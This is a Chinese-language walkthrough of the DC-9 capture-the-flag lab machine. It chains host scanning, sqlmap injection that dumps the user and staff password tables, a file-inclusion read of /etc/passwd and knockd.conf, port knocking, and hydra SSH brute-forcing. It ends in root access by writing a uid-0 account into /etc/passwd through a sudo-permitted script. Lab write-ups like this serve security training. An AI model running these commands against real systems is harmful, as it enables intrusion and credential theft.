赞
踩
靶机:DC-9,IP地址:192.168.52.142
测试机:Kali,IP地址:192.168.52.134
下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。
在这里记一下DC-9的MAC地址,等下用的到。
启动DC-9时开机就好,因为不知道用户名和密码,所以登录不了
因为DC-9和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-9的网络号
DC-9的网络号是:192.168.52.0/24
netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到DC-9的IP地址
arp-scan -l
根据之前记下的MAC地址确定扫描到的主机哪一个是DC-9,因为MAC地址是主机的唯一标识。
获得DC-9靶机ip:192.168.52.142(可通过kali浏览器访问进行验证)
root@kali:~# nmap -sV -A 192.168.52.142
-sV只扫描端口及其版本号
-A扫描端口的详细信息
目标靶机开放了80端口,22端口显示被过滤掉了。
可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息
没有检测到CMS信息
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.142 -e * -i 200
-i 状态码 只显示该状态码
-x 状态码 不显示该状态码
在页面发现一个search框,可以查询用户信息,与数据库有交互,猜测可能存在SQL注入,随便输入数据查询,URL框没有改变,说明是POST方式提交,B
urp抓包检测是否存在SQL注入的可能
可以看出确实存在POST型SQL注入,网站应该对注入做了一些应对措施。过滤啊,屏蔽报错啊
利用kali自带的sqlmap工具进行自动化注入
列出所有数据库:
- sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch --dbs
- --data 此参数是把数据以POST方式提交
- --batch 默认确认,不询问你是否输入
- --dbs列出所有数据库
发现Staff和users数据库,先看看users库中有什么
1)、users数据库
a、列出users数据库的所有表
- sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch -D users --tables
- -D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
- --tables 获取表名
b、查看users数据库下的UserDetails表下所有字段里的数据
- sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D users -T UserDetails --dump
- -T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
- --dump 获取数据
+----+------------+---------------+---------------------+-----------+-----------+ | id | lastname | password | reg_date | username | firstname | +----+------------+---------------+---------------------+-----------+-----------+ | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary | | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie | | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred | | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney | | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom | | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry | | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma | | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty | | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler | | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey | | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel | | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross | | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica | | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe | | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter | | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald | | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott | +----+------------+---------------+---------------------+-----------+-----------+
这里是那些员工这账号和密码,后面可能会用到,先放着,然后我们再看看Staff库里面有啥
2)、Staff数据库
a、列出Staff数据库的所有表
- sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch -D Staff --tables
- -D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
- --tables 获取表名
b、查看Staff数据库下的StaffDetails表下所有字段里的数据
- sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D Staff -T StaffDetails --dump
- -T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
- --dump 获取数据
c、查看Staff数据库下的Users表下所有字段里的数据
- sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D Staff -T Users --dump
- -T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
- --dump 获取数据
dump完密码的时候会提示你是否解密md5,选择sqlmap自带的字典就可以跑出明文密码
得到用户名和密码:admin/transorbital1 ,然后使用这个用户去站点登录
登录后增加了Add Record和Manage页面,在Manage的下面发现了一句话File does not exits ,猜测可能存在文件包含漏洞,猜测文件参数是file
?file=../../../../etc/passwd
果然存在LFI漏洞,接下来是fuzz一下系统文件
发现了/etc/knockd.conf,这就和之前nmap扫描靶机运行了SSH服务,但状态是filtered对应起来了,因为knockd可以对SSH进行防护
knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
看一下/etc/knockd.conf文件中的自定义端口
有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了,不过有时间限制,所以动作要快
- sudo nmap -p 7469 192.168.52.142
- sudo nmap -p 8475 192.168.52.142
- sudo nmap -p 9842 192.168.52.142
- 或者安装knockd
- knock 192.168.52.142 7469 8475 9842
现在查看ssh服务是否被敲开
sudo nmap -p 22 192.168.52.142
不出所料SSH服务被成功敲开
4.hydra爆破SSH账户
将前面所爆出来的那些员工的账号和密码编写成两个字典,进行ssh爆破,注意各个字符串之间不要有空格,不然空格也会算在字符串中,可能会爆破不出来
使用hydra爆破SSH账户
hydra -L username.txt -P password.txt ssh://192.168.52.142
爆破出来有3个用户可用,chandlerb\UrAG0D!、joeyt\Passw0rd、janitor\Ilovepeepee
依次登录3个用户,最终在用户janitor的目录下找到了隐藏文件
- ssh chandlerb@192.168.52.142
- UrAG0D!
-
- ssh joeyt@192.168.52.142
- Passw0rd
-
- ssh janitor@192.168.52.142
- Ilovepeepee
.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是存放的用户密码,然后把这些密码再加进刚刚我们编写的password.txt字典中重新再爆破一次看看
爆破出了一个新的用户号:fredf\B4-Tru3-001
使用fredf用户登录靶机
- ssh fredf@192.168.52.142
- B4-Tru3-001
列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件
sudo -l
尝试运行,发现它是一个python文件
使用find查找test.py文件
- find / -name test.py 2>/dev/null
- ### 2>/dev/null 代表忽略掉错误提示信息。
查看test.py
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了
构造参数1:
- openssl passwd -1 -salt admin 123456
- -1 的意思是使用md5加密算法
- -salt 自动插入一个随机数作为文件内容加密
- admin 123456 用户名和密码
根据/etc/passwd的格式,修改一下然后存入一个文件里,这个文件就是参数1
- echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
- # 用户名:密码:uid:gid:家目录:登陆后使用的shell
- cat /tmp/passwd
- sudo ./test /tmp/passwd /etc/passwd
- #执行test文件 参数1 参数2
运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径
写入完成后登录到我们创建的新账号
在root目录下获取flag
- su admin
- Password:123456
- cd /root
- ls
- cat theflag.txt
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。